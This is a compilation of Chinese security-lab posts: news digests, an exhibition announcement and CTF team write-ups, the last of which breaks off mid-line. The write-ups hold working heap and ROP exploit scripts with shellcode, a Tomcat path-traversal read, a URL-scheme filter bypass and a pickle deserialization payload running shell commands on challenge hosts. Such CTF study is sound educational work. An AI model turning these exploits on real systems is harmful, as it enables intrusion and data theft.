免责声明：以下内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以下内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。 1、 VMware vCenter CVE-2021-22005 漏洞的PoC已公开发布 https://securityaffairs.co/wordpress/122686/hacking/cve-2021-22005-exploit-vmware-vcenter.html2、新的恶意软件BloodyStealer针对游戏行业 https://securityaffairs.co/wordpress/122646/cyber-crime/bloodystealer-malware-targets-gamers.html3、趋势科技修补了ServerProtect 解决方案中一个严重漏洞 https://securityaffairs.co/wordpress/122694/security/trend-micro-serverprotec-solution-flaw.html4、德国联邦信息安全办公室（BSI）调查中国手机 https://securityaffairs.co/wordpress/122604/intelligence/bsi-investigates-chinese-mobile-phones.html5、Confluence RCE 漏洞在多个网络攻击活动中被利用 https://thehackernews.com/2021/09/atlassian-confluence-rce-flaw-abused-in.html6、微软警告针对 Active Directory FS 服务器的 FoggyWeb 恶意软件 https://thehackernews.com/2021/09/microsoft-warns-of-foggyweb-malware.html7、ImmuniWeb 推出用于识别未受保护的云存储的免费工具 https://www.securityweek.com/immuniweb-launches-free-tool-identifying-unprotected-cloud-storage8、FinSpy 监视间谍软件劫持并替换UEFI引导程序安装Bootkit https://www.securityweek.com/finspy-surveillance-spyware-fitted-uefi-bootkit9、OWASP Top 10 更新了三个新类别 https://www.securityweek.com/owasp-top-10-updated-three-new-categories10、Mirai_ptea_Rimasuta变种利用锐捷路由器0day传播 https://blog.netlab.360.com/rimasuta-spread-with-ruijie-0day-en/

免责声明：以下内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以下内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。 1、Visual Studio Code 远程开发插件中存在RCE漏洞 https://securityaffairs.co/wordpress/122638/hacking/rce-visual-studio-code-remote-development-extension.html2、Jupyter恶意软件新版本通过MSI安装程序分发 https://securityaffairs.co/wordpress/122627/cyber-crime/jupyter-infostealer-msi-installers.html3、俄罗斯 APT 组织Turla在目标系统上部署新后门 https://thehackernews.com/2021/09/russian-turla-apt-group-deploying-new.html4、新的安卓恶意软件窃取来自 378 个银行和钱包应用程序数据 https://thehackernews.com/2021/09/new-android-malware-steals-financial.html5、VMware确认最近修补的vCenter Server漏洞已被在野利用 https://www.securityweek.com/vmware-confirms-wild-exploitation-vcenter-server-vulnerability6、Cring 勒索软件利用十多年前的Adobe漏洞 https://cyware.com/news/cring-ransomware-targets-a-decade-old-adobe-flaw-caf2c4127、Safepal Wallet恶意附加组件窃取用户加密货币 https://www.bleepingcomputer.com/news/security/malicious-safepal-wallet-firefox-add-on-stole-cryptocurrency/8、攻击者利用虚假Uber安全警报窃取用户信息 https://blog.malwarebytes.com/malwarebytes-news/2021/09/beware-uber-scam-lures-victims-with-alert-from-a-real-uber-number/9、Desorden团伙从ABX Express窃取200GB数据 https://www.databreaches.net/desorden-group-claims-to-have-stolen-200-gb-of-data-from-abx-express/10、QNAP 修复 QVR 视频监控解决方案中的高危漏洞 https://www.bleepingcomputer.com/news/security/qnap-fixes-critical-bugs-in-qvr-video-surveillance-solution/

2021年9月25日至28日，由国家互联网信息办公室、科学技术部、工业和信息化部、浙江省人民政府共同主办的2021年世界互联网大会“互联网之光”博览会在浙江乌镇举行。大会的主题是“迈向数字文明新时代——携手构建网络空间命运共同体”。湖南蚁景科技有限公司携手中国网络空间安全人才教育论坛（简称：网教盟）联合参加了本次“互联网之光”博览会。 湖南蚁景科技有限公司作为专业的“网络安全人才培养服务提供商”，一直专注于网安人才实战技能培养。本次展会主要展示内容是基于国内外最新网络靶场技术和研究成果，为网安人才实战技能培养提供新的解决方案——网络安全人才实训平台。 “网络安全人才实训平台”以“技能教学 + 实战演练”为核心，通过“蚁景网安直播课堂”的“学”和“蚁景网安实验室”的“练”这两大网安人才实战实训板块，实现网安人才技能学习积累、综合技能运用以及考核内推三大目标。同时为高校、政企单位、科研院所等行业客户提供在线实验教学的虚拟实验环境与各种课件资源，为广大网安爱好者提供技能培训、人才推荐等服务。         博览会期间，多位中央网信办、网安协会领导莅临湖南蚁景科技展区指导工作。9月25日，中央网信办原副主任、中国网络空间安全协会王秀军理事长，中国互联网发展基金会杨春艳秘书长，中国网络空间安全协会李欲晓秘书长等一行参观湖南蚁景科技展区并指导工作。9月27日，中央网信办赵泽良副主任，中国网络空间安全协会张健副秘书长，赵宏志副秘书长等领导一行，莅临展区视察。

免责声明：以下内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以下内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。 1、JSC GREC Makeyev 和其他俄罗斯实体受到网络攻击 https://securityaffairs.co/wordpress/122589/hacking/jsc-grec-makeyev-russia-orgs-attacks.html2、谷歌TAG团队发现攻击者使用新的代码签名技巧来逃避检测 https://securityaffairs.co/wordpress/122576/hacking/code-signing-avoid-detection.html3、苹果iCloud Private Relay泄露用户真实IP https://thehackernews.com/2021/09/apples-new-icloud-private-relay-service.html4、 Mac ZuRu 恶意软件利用百度推广进行传播 https://cyware.com/news/zuru-malware-exploits-baidu-search-results-7c48549c5、欧盟将Ghostwriter 黑客活动归咎于俄罗斯 https://www.bleepingcomputer.com/news/security/eu-officially-blames-russia-for-ghostwriter-hacking-activities/6、报告发现 68% 的恶意软件来自云应用程序 https://securityintelligence.com/news/cloud-security-malware-cloud-apps/7、Let's Encrypt 的根证书 将于 9 月 30 日到期 https://portswigger.net/daily-swig/device-breakage-concerns-persist-days-before-lets-encrypt-root-cert-expiry8、思科Talos发现攻击者使用商业RAT针对印度次大陆 https://blog.talosintelligence.com/2021/09/operation-armor-piercer.html9、网络钓鱼活动冒充WhatsApp分发恶意软件 https://portswigger.net/daily-swig/fake-whatsapp-backup-message-delivers-malware-to-spanish-speakers-devices10、微软WPBT漏洞允许黑客在Windows设备安装rootkit https://www.bleepingcomputer.com/news/security/microsoft-wpbt-flaw-lets-hackers-install-rootkits-on-windows-devices/

本文为goodcat战队参赛wp，非官方出品 目录 https://www.yijinglab.com/pages/CTFLaboratory.jspPwn 1、 K1ng_in_h3Ap_II libc2.27-0ubuntu1.4，存在明显的UAF； tcahce double free 控制tcache struct，将counts[]数组全部填满后， 将其释放到unsortedbin可泄露libc； 之后再次double free 将free_hook改为setcontext，布置好orw，之后读出flag。 from pwn import* context.log_level = "debug" context.os = "linux" context.arch = "amd64" context.terminal = ['tmux', 'splitw', '-h'] #r = process("./pwn2") r = remote("47.104.175.110", 61608) libc = ELF("./libc.so.6") def allocate(index, size):    r.sendlineafter(">> \n", "1")    r.sendlineafter("input index:\n", str(index))    r.sendlineafter("input size:\n", str(size)) def delete(index):    r.sendlineafter(">> \n", "2")    r.sendlineafter("input index:\n", str(index)) def edit(index, content):    r.sendlineafter(">> \n", "3")    r.sendlineafter("input index:\n", str(index))    r.sendafter("input context:\n", content) def show(index):    r.sendlineafter(">> \n", "4")    r.sendlineafter("input index:\n", str(index)) for i in range(8):    allocate(0, 0x10) allocate(0, 0x40) for i in range(7):    allocate(0, 0x60) allocate(0, 0x60) delete(0) edit(0, 'a' * 0x10) delete(0) show(0) heap_addr = u64(r.recv(6) + '\x00\x00') & 0xfffffffffffff000 print "heap_addr = " + hex(heap_addr) edit(0, p64(heap_addr+0x10)) allocate(0, 0x60) allocate(0, 0x60) edit(0, 'a' * 64) delete(0) show(0) malloc_hook = (u64(r.recvuntil('\x7f')[-6:].ljust(8, "\x00")) & 0xFFFFFFFFFFFFF000) + (libc.sym['__malloc_hook'] & 0xFFF) libc_base = malloc_hook - libc.sym['__malloc_hook'] free_hook = libc_base + libc.sym["__free_hook"] set_context = libc_base + libc.symbols['setcontext'] mprotect = libc_base + libc.sym['mprotect'] print "libc_base = " + hex(libc_base) print "mprotect = " + hex(mprotect) allocate(0, 0x58) edit(0, '\x00' * 0x58) allocate(1, 0x38) delete(1) edit(1, p64(free_hook)) allocate(1, 0x38) allocate(1, 0x38) allocate(2, 0x30) allocate(2, 0x30) allocate(2, 0x30) allocate(2, 0x30) allocate(3, 0x10) allocate(4, 0x30) allocate(5, 0x30) new_addr =  free_hook &0xFFFFFFFFFFFFF000 shellcode1 = ''' xor rdi,rdi mov rsi,%d mov edx,0x1000 mov eax,0 syscall jmp rsi ''' % new_addr edit(1, p64(set_context+53) + p64(free_hook+0x10) + asm(shellcode1)) edit(4, p64(0) + p64(new_addr) + p64(0x1000) + p64(0) + p64(0) + p64(7)) edit(5, p64(free_hook + 0x8) + p64(mprotect)) delete(2) sleep(0.5) shellcode2 = ''' mov rax, 0x67616c662f ;// /flag push rax mov rdi, rsp ;// /flag mov rsi, 0 ;// O_RDONLY xor rdx, rdx ; mov rax, 2 ;// SYS_open syscall mov rdi, rax ;// fd mov rsi,rsp ; mov rdx, 1024 ;// nbytes mov rax,0 ;// SYS_read syscall mov rdi, 1 ;// fd mov rsi, rsp ;// buf mov rdx, rax ;// count mov rax, 1 ;// SYS_write syscall mov rdi, 0 ;// error_code mov rax, 60 syscall ''' r.sendline(asm(shellcode2)) r.interactive() Re 1、 Just_cmp-re | Solved | working: find the cmp str. buu原题 hook原文 将原文转成qword 与加密key相加得到flag flag{a14a424005b14e2b89ed45031ea791b9} 2、 Funny_js 根据题目名称，发现是一道js框架的题目 提取js字节码如下： 0x02, 0x1B, 0x06, 0x72, 0x63, 0x34, 0x04, 0x73, 0x6E, 0x02, 0x69, 0x02, 0x6A, 0x02, 0x6B, 0x02, 0x6C, 0x02, 0x6D, 0x02, 0x6E, 0x04, 0x75, 0x6E, 0x06, 0x61, 0x72, 0x72, 0x0C, 0x63, 0x69, 0x70, 0x68, 0x65, 0x72, 0x2A, 0x32, 0x30, 0x32, 0x31, 0x71, 0x75, 0x69, 0x63, 0x6B, 0x6A, 0x73, 0x5F, 0x68, 0x61, 参考了这一篇博客 对 quickjs.c 进行 patch： 得到字节码如下，对dump出来的字节码进行分析，提取出密文 [150, 224, 244, 68, 61, 125, 8, 239, 203, 254, 241, 113, 213, 176, 6 4, 106, 103, 166, 185, 159, 158, 172, 9, 213, 239, 12, 100, 185, 90, 174, 1 07, 131, 223, 122, 229, 157] 再提取出加密过程如下： RC4_KEY="2021quickjs_happygame" push_i16 150 push_i16 224 push_i16 244 push_i8 68 push_i8 61 push_i8 125 push_i8 8 push_i16 239 push_i16 203 push_i16 254 push_i16 241 push_i8 113 push_i16 213 push_i16 176 push_i8 64 push_i8 106 push_i8 103 push_i16 166 push_i16 185 push_i16 159 push_i16 158 push_i16 172 push_i8 9 push_i16 213 push_i16 239 push_i8 12 push_i8 100 push_i16 185 push_i8 90 push_i16 174 push_i8 107 push_i16 131 array_from 32 push_i16 223 define_field "32" push_i8 122 define_field "33" push_i16 229 define_field "34" push_i16 157 43 define_field "35" 加密过程就是一个异或(56-17)外加rc4（key为2021quickjs_happygameH） 解密得到flag为flag{2021_9u1ck_1s_v3r7_1nT3r3st1n9} Misc 1、你这flag保熟吗 binwalk提取两张图片，分别得到一个字母数字混合的表格和一个hint.txt password.xls hint.txt 希尔伯格曲线 取出表格中的字符，单独放到password.txt的文件中，运行脚本如下： import base64 from hilbertcurve.hilbertcurve import HilbertCurve array = [] password = '' p = 8;n=2 hilbert_curve = HilbertCurve(p, n) with open('password.txt','r',encoding='utf-16') as file:    # a = file.readline().replace("\t", "").replace("\n", "")    # print(a)    for i in range(256):        a = file.readline().replace("\t", "").replace("\n", "")        array.append(a) for i in range(256*256):   [m,n] = hilbert_curve.point_from_distance(i)    password += array[n][m] # print(password) import base64 temp = password for i in range(25):    temp = base64.b64decode(temp) print(temp) 得到base64加密后的密文如下： base解密得到密码 解压后发现里面是brainfuck     >+++++++++[<+++++++++++++   >-]>+                                               ++[<                         +++++++++++++++++++++++++++++     ++++++++>-]>++[<+++++++++   +++++                                             ++++++                       +++++++++++++++++++++++++++++     ++++++++++++>-]>++++[<+++   +++++                                             ++++++++                       +++++++++++++>-]>+++[<+++++++     +++++                       +++++                                           ++++ ++++                     +++++     +++++                       +++++                                           +>-]   ++++                     +++++     +++++                       +++++                                         ++++     ++++                   +++++     +++++                       +++++                                         ++++       ++++                   +++++     +++++                       +++++                                       ++++         ++++                 +++++     +++++                       >>+++                                       +++[           <+++                 +++++     +++++                       +++++                                     +>-]             >++[               <++++     +++++++++++++++++++++++++   +++++                                     +++++++>-]>+++++++++++[<               +++++       ++++++>-]>++[<++     +++++++++++++++++++++++++   +++++                                   ++++++++++++++++++++++++++             +>-]>       +++++++[<++++++++     +++++++>-]+++++++++++++++   +++++                                   ++++++++++++++++++++++++++++             +++++       +++         +++++     +++++                       +++++                                 ++++                     ++++           +++++                   +++++     +++++                       +++++                                 ++++                       >>++           +++[<                   +++++     +++++                       +++++                               ++++                         >-]>         +++++                   +++[<     +++++                       +++++                               +>-]                           >+++         +++[<                   +++++     +++++                       +++++                             ++>-                             ]>++       +++++                   [<+++     +++++                       +++++                             ++>-                               ]+++       +++++                   +++++     +++++                       +++++++++++++++++++++++++++     ++++                                 ++++     +++++++++++++++++++++++++++++     +++++                       ++++++++++++++>>++[<+++++++     ++++                                   ++++     +++++++++++++++++++++++++++++     +++++                       ++++++++++>-]>+++++[<++++++   ++++                                     ++++   +++++>-]>+++++++[<+++++++>-]> ++++                                                                                                                                             ++++ [<+++                                                                                                                                           +++++ +>-]>+++++[<+++++++++++++++++++>-]>++++[<+++++++++++++>-]>+++++[<+++++++++++++++++++>-]+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>++++++[< ++++++++>-]+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>+++++++[<+++++++++++++++++>- ]>++[<+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>-]>+++++++[<+++++++++++++++>-]>+++++++++[<+++++++++++++>-]>++++++[<+++++++++++++++++ >-]>+++[<+++++++++++>-]>+++++[<+++++++++++++++++++>-]>++++++++++[<++++++++++++>-]>++++++[<+++++++++++++++++>-]>+++++++[<+++++++++++++++>-]++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>++[<+++++++++++++++++++++++++++++++++++++++++++++++++++++++ ++++>-]>+++++[<+++++++++++++++++++++++++>-]+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++.>>+++ +++[<+++++++++++++++++++>-]<.>>++++++[<+++++++++++++++++++>-]<.>>+++[<+++++++++++++++++++++++++++++++++++++>-]<.>>++++++[<+++++++++++++++++++>-]<.> 然后解brainfuck可以得到 uozt{SrRyvig_Xfiev_1H_4_ee0mwviuf!_xfiev} 放到编码器里面发现是atbash 对应位置修改下大小写 flag{HiIbert_Curve_1S_4_vv0nderfu!_curve} Crypto 1、 baby_rsa to small? leak? from Crypto.Util.number import long_to_bytes from gmpy2 import invert, is_prime from tqdm import tqdm primes = [] for xy in tqdm(range(500)):    for mn in range(500):        prime = xy**(mn+1) - (xy+1)**mn        if prime.bit_length() > 2048: break        if is_prime(prime):            primes.append(prime) c = 15808773921165746378224649554032774095198531782455904169552223303513940968292896814159288417499220739875833754573943607047855256739976161598599903932981169979509871591999964856806929597805904134099901826858367778386342376768508031554802249075072366710038889306268806744179086648684738023073458982 for i in range(len(primes)):    for j in range(i, len(primes)):        pq = primes[i]*primes[j]        if len(bin(pq)[2:]) == 2048:            try:                d = invert(0x10001, (primes[i]-1)*(primes[j]-1))                dec = long_to_bytes(pow(c, d, pq))                if b"flag{" in dec:                    print(dec)            except ValueError:                pass 已知((fac[0]+fac[1]+fac[2]) << 1) - 1的值，用其替代n。分解((fac[0]+fac[1]+fac[2]) << 1) - 1求其欧拉函数，进而求解出d和第二段。 import gmpy2 from Crypto.Util.number import * def main():    _n = 39796272592331896400626784951713239526857273168732133046667572399622660330587881579319314094557011554851873068389016629085963086136116425352535902598378739    e = 0x10001    c = 4062598101725026294523054845073895172556652025216341012456562212675473969368127164912710410903816485278776729640369746247545967054084582215039763992301322310291267474840242750158801886649087839467848206156152125336555002907556550798823272903205529899279271257456970484607551462482465412769174    phi_n = (191 - 1) * (193 - 1) * (627383 - 1) * (1720754738477317127758682285465031939891059835873975157555031327070111123628789833299433549669619325160679719355338187877758311485785197492710491 - 1)    d = gmpy2.invert(e, phi_n)    m = pow(c % _n, d, _n)    print(long_to_bytes(m)) if __name__ == '__main__':    main() ### Web 1、java_url 一道Java_URL。 Tomcat/8.5.71 读 /../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF//web.xml <?xml version="1.0" encoding="UTF-8"?> <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"         version="4.0">   <servlet>       <servlet-name>testurl</servlet-name>       <servlet-class>com.test2.aaa1.testURL</servlet-class>   </servlet>   <servlet-mapping>       <servlet-name>testurl</servlet-name>       <url-pattern>/testURL</url-pattern>   </servlet-mapping>       <servlet>       <servlet-name>download</servlet-name>       <servlet-class>com.test2.aaa1.download</servlet-class>   </servlet>   <servlet-mapping>       <servlet-name>download</servlet-name>       <url-pattern>/download</url-pattern>   </servlet-mapping> </web-app> 读 /../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/com/test2/aaa1/testURL.class 得到class文件 import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; import java.net.URL; import javax.servlet.ServletException; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; public class testURL extends HttpServlet {   protected void doGet(HttpServletRequest arg1, HttpServletResponse arg2) throws ServletException, IOException {       this.doPost(arg1, arg2);   }   protected void doPost(HttpServletRequest arg6, HttpServletResponse arg7) throws ServletException, IOException {       String tartget_url = arg6.getParameter("url");       if(tartget_url.substring(0, tartget_url.indexOf(":")).matches("(?i)file|(?i)gopher|(?i)data")) {           arg7.getWriter().write(String.valueOf(new StringBuilder().append("false")));           return;       }       arg7.getWriter().write(String.valueOf(this.getContent(tartget_url)));   }   public StringBuilder getContent(String arg8) throws IOException {       BufferedReader in = new BufferedReader(new InputStreamReader(new URL(arg8).openConnection().getInputStream()));       StringBuilder content = new StringBuilder();       while(true) {           String inputLine = in.readLine();           if(inputLine == null) {               return content;           }           content.append(inputLine);           content.append("\n");       }       return content;   } } 读flag的payload /testURL?url=url:file:///flag 2、EZ_python 樱桃猫写了自己的第一个flask网站，你能帮他看看有什么问题吗？ 网刃杯的easy_web,原题 文件读取，/proc/self/cmdline app.py import pickle import base64 from flask import Flask, request from flask import render_template,redirect,send_from_directory import os import requests import random from flask import send_file app = Flask(__name__) class User():   def __init__(self,name,age):       self.name = name       self.age = age def check(s):   if b'R' in s:       return 0   return 1 @app.route("/") def index():   try:       user = base64.b64decode(request.cookies.get('user'))       if check(user):           user = pickle.loads(user)           username = user["username"]       else:           username = "bad,bad,hacker"   except:       username = "CTFer"   pic = '{0}.jpg'.format(random.randint(1,7))       try:       pic=request.args.get('pic')       with open(pic, 'rb') as f:           base64_data = base64.b64encode(f.read())           p = base64_data.decode()   except:       pic='{0}.jpg'.format(random.randint(1,7))       with open(pic, 'rb') as f:           base64_data = base64.b64encode(f.read())           p = base64_data.decode()   return render_template('index.html', uname=username, pic=p ) if __name__ == "__main__":   app.run('0.0.0.0',port=8888) 读 /proc/self/environ 没用 MAIL=/var/mail/appUSER=appHOSTNAME=engine-1SHLVL=1PYTHON_PIP_VERSION=20.1HOME=/home/appGPG_KEY=E3FF2839C048B25C084DEBE9B26995E310250568LOGNAME=app_=/bin/suPYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/1fe530e9e3d800be94e04f6428460fc4fb94f5a9/get-pip.pyTERM=xtermPATH=/usr/local/bin:/usr/loca 网刃原题 import requests import pickle import base64 # e = 'ls / -a' e = 'cat /flagggggggggggggaaa' s = pickle.dumps(e) # print(s) payload = b'c__main__\nUser\n)\x81}(V__setstate__\ncos\nsystem\nubV' + \   e.encode()+b' > /tmp/1.txt\nb.' response = requests.get("http://eci-2zecbk1aefg5marnfo77.cloudeci1.ichunqiu.com:8888/?pic=/tmp/1.txt", cookies=dict(   user=base64.b64encode(payload).decode())) for l in response.content.decode().split("\n"):   if "base64" in l:       l = l.split("\"")[1].split(",")[1]       print(base64.b64decode(l).decode()) flag{2e4af838-7d23-4b04-a77a-1519e8b14e8f} 更多好文，尽请期待！https://www.yijinglab.com/pages/CTFLaboratory.jsp

免责声明：以下内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以下内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。 1、SonicWall 修补 SMA 设备中的关键漏洞 https://www.securityweek.com/sonicwall-patches-critical-vulnerability-sma-appliances 2、欧洲主要呼叫中心提供商之一的 GSS 遭受勒索软件攻击 https://securityaffairs.co/wordpress/122570/cyber-crime/gss-ransomware-attack.html 3、 Chrome 发布紧急更新修补了一个被在野利用的0day漏洞 https://securityaffairs.co/wordpress/122561/security/google-chrome-zero-day-flaw.html 4、研究人员发布了针对 3 个 iOS 0day的 PoC https://securityaffairs.co/wordpress/122545/hacking/poc-exploit-code-ios-zero-day.html 5、一份包含 38 亿条 Clubhouse 和 Facebook 用户数据在线出售 https://securityaffairs.co/wordpress/122532/cyber-crime/clubhouse-facebook-data-scraping.html 6、新的 FamousSparrow APT使用ProxyLogon漏洞进行攻击 https://securityaffairs.co/wordpress/122525/apt/famoussparrow-apt-target-hotels.html 7、一种新的零日漏洞被利用来危害 Mac 系统 https://www.helpnetsecurity.com/2021/09/24/cve-2021-30869/ 8、开发人员修复了 Apache HTTP Server 中的多个漏洞 https://portswigger.net/daily-swig/developers-fix-multitude-of-vulnerabilities-in-apache-http-server 9、TangleBot恶意软件针对美国和加拿大移动用户 https://www.cloudmark.com/en/blog/mobile/tanglebot-new-advanced-sms-malware-targets-mobile-users-across-us-and-canada-covid-19 10、Debt-IN公司遭勒索软件攻击泄露南非公民数据 https://portswigger.net/daily-swig/millions-of-south-africans-caught-up-in-security-incident-after-debt-recovery-firm-suffers-significant-data-breach

免责声明：以下内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以下内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。 1、苹果周四证实了针对旧款 iPhone 的新的0day攻击 https://www.securityweek.com/apple-confirms-new-zero-day-attacks-older-iphones 2、Apple 在 iOS 和 macOS 中弃用过时的 TLS 1.0、 1.1 协议 https://www.securityweek.com/apple-deprecates-outdated-tls-protocols-ios-macos 3、思科修补 IOS XE 软件中的关键漏洞 https://www.securityweek.com/cisco-patches-critical-vulnerabilities-ios-xe-software 4、Microsoft Exchange 自动发现功能漏洞导致数十万域凭据泄露 https://securityaffairs.co/wordpress/122510/hacking/microsoft-exchange-autodiscover-feature-bug.html 5、微软发现名为BulletProofLink 的大规模网络钓鱼即服务 (PHaaS) https://securityaffairs.co/wordpress/122503/cyber-crime/bulletprooflink-phishing-phaas.html 6、研究人员发现NanoMQ 中的0day漏洞，影响上亿个物联网设备 https://threatpost.com/100m-iot-devices-zero-day-bug/174963/ 7、Microsoft WPBT 中一个未修补的漏洞影响Win 8和之后的所有系统 https://thehackernews.com/2021/09/a-new-bug-in-microsoft-windows-could.html 8、Beego 修补开源 Web 框架中的严重 XSS 漏洞 https://portswigger.net/daily-swig/beego-patches-severe-xss-vulnerability-in-open-source-web-framework 9、钓鱼邮件利用恶意PowerPoint文档分发AgentTesla https://www.mcafee.com/blogs/other-blogs/mcafee-labs/malicious-powerpoint-documents-on-the-rise/ 10、行为健康提供商Texoma数据泄露影响超过2.4万人 https://therecord.media/data-breach-at-texas-behavioral-health-center-affects-more-than-24000/

Pwn 1、Babyrop 栈溢出，且存在后门函数； 利用func1将'/cin/sh'修改为'/bin/sh'， 利用func2调用参数执行system('/bin/sh')即可 #!usr/bin/env python #-*- coding:utf8 -*- from pwn import * #p = process("./BabyRop") p = remote("192.168.39.161", 11000) elf = ELF("./BabyRop") payload = flat([    'a'*(0x28+4),    0x80491fd,  #func1    0x8049332,  # ret address ;pop rdx r15 ；ret    0x804c024,    1,    0x80491d6,  #func2:system    0x80491d6,    0x804c024 ]) p.sendline(payload) p.interactive() 2、Whats your name Libc 2.23 + off by null: Off by null使得下个相邻chunk的pre_inuse置零；然后伪造pre_size，以及fake chunk的fd,bk，之后释放pre_inuse置零的chunk，实现unlink，造成堆块重叠； 最后覆写重叠堆块上存在的函数指针，改为setcontext+53，并提前布置好orw的rop链，调用show函数时，触发orw读出flag; #!usr/bin/env python #-*- coding:utf8 -*- from pwn import * pc="./name" #p=process(pc,env={"LD_PRELOAD":"./libc.so.6"}) p = remote(192.168.39.161,9999) ru = lambda x : p.recvuntil(x,timeout=0.2) sn = lambda x : p.send(x) sl = lambda x : p.sendline(x) rv = lambda x : p.recv(x) ru7f = lambda : u64(ru('\x7f')[-6:].ljust(8,'\x00')) rv6 = lambda : u64(rv(6)+'\x00'*2) what_idx="index:" def add(size):    ru("5.exit\n")    sl("1")    ru("name size:")    sl(str(size)) def edit(idx,c):    ru("5.exit\n")    sl("2")    ru(what_idx)    sl(str(idx))    ru("name:")      sl(c)   def show(idx):    ru("5.exit\n")    sl("3")    ru(what_idx)    sl(str(idx)) def dele(idx):    ru("5.exit\n")    sl("4")    ru(what_idx)    sl(str(idx)) add(0x100) #0 add(0x100) #1 dele(0) add(0x30) show(0) libc_base = ru7f() - 0x3c4b78 -0xe0 setcontext_53 = libc_base + libc.sym['setcontext'] + 53 add(0x10) #2 show(2) ru('\n') #这里需要根据具体情况调试 heap_addr = rv6() - 0xad0 dele(0) add(0x48) #0 add(0x100) #3 pay = flat([    0,0x41,    heap_addr+0xc8-0x18,heap_addr+0xc8-0x10,    'a'*0x20,    0x40 ]) edit(0,pay) edit(3,'a'*0xf0+p64(0x100)+p64(0x121)) dele(3) add(0x10) #3   add(0xa8-0x20) #4   add(0xc0) #5   srop_addr = heap_addr+0xb30 pay = flat([    0,0x21,    setcontext_53,srop_addr ]) edit(0,pay) syscall =  libc_base + 0xbc3f5     p_rdi = libc_base + 0x21112 p_rsi =   libc_base + 0x202f8 p_rax_rdx_rbx =  libc_base + 0x1436b1 ret =  p_rsi+1 rop_base = heap_addr + 0xc60 edit(5,'\x00'*0xa0+p64(rop_base)+p64(ret)) flag_str_addr = heap_addr   flag_addr=rop_base+0xd8 payload=flat([    p_rdi,flag_addr,    p_rsi,4,    p_rax_rdx_rbx,2,4,0,    syscall,    p_rdi,3,    p_rsi,flag_str_addr,    p_rax_rdx_rbx,0,0x50,0,    syscall,    p_rdi,1,    p_rsi,flag_str_addr,    p_rax_rdx_rbx,1,0x50,0,    syscall,    'flag\x00' ]) edit(1, payload) show(0) p.interactive() 3、Nologin 查看保护： 存在栈溢出的点： 第一次溢出劫持rbp,再返回到溢出函数； 第二次溢出，首先往bss段上读orw的gadget，其中pop rdx要自己写到bss上； 然后栈迁移到bss段上，执行orw #!usr/bin/env python #-*- coding:utf8 -*- from pwn import * pc="./nologin" reomote_addr=["",40001] context.log_level="debug" # p=process(pc) p = remote("192.168.39.161",40001) ru = lambda x : p.recvuntil(x,timeout=0.2) sn = lambda x : p.send(x) rl = lambda   : p.recvline()   sl = lambda x : p.sendline(x) rv = lambda x : p.recv(x) sa = lambda a,b : p.sendafter(a,b) sla = lambda a,b : p.sendlineafter(a,b) ru7f = lambda : u64(ru('\x7f')[-6:].ljust(8,'\x00')) rv6 = lambda : u64(rv(6)+'\x00'*2) p.sendlineafter("input>> \n","2") flag_addr = 0x0602020+0x400 str_addr = 0x0602050 p.sendlineafter(">password: \n","1"*5+p64(flag_addr)+p64(0x400FF8)) # rax=0x602420 p.sendafter("password: \n","a"*0xd+p64(0x4009BC)+"a"*9 ) read_addr = 0x400780 open_addr = 0x4007B0 puts_addr = 0x400730 p_rdi = 0x401173 p_rsi_r15 = 0x401171 p_rdx = 0x6024b0 orw = flat([        p_rdi,flag_addr,        p_rsi_r15,0,0,        open_addr,        p_rdi,4,        p_rsi_r15,str_addr,0,        p_rdx,0x40,        read_addr,        p_rdi,str_addr,        puts_addr ]) p.sendline(("./flag".ljust(8,'\x00')+orw+asm("pop rdx\nret\n")) ) p.interactive() Re 1、Android 将apk文件拉到jeb中进行分析，发现checkflag的关键逻辑在activity层 可以看到是一个base64算法，但是base表要通过和服务器交互得到 main里面有交互的代码 远程连接端口，输入的值进行md5，之后每字节减1为c232666f1410b3f5010dc51cec341f58 直接进行在线解密 之后连接端口取得变表，base解密得到flag为 SangFor{212f4548-03d1-11ec-ab68-00155db3a27e} 2、vm 分析程序，将程序smc动调自解密后，发现是一个vm 动态调试 跟进程序逻辑，发现 vm就是前32字节就是取数据单字节异或，后面的12字节分为3组进行相同的加密 得到以下关键点： 前32字节最后比较的地方 取输入 前三十二字节的异或 之后三组加密对比密文的地方： 同时跟进加密逻辑为 data = 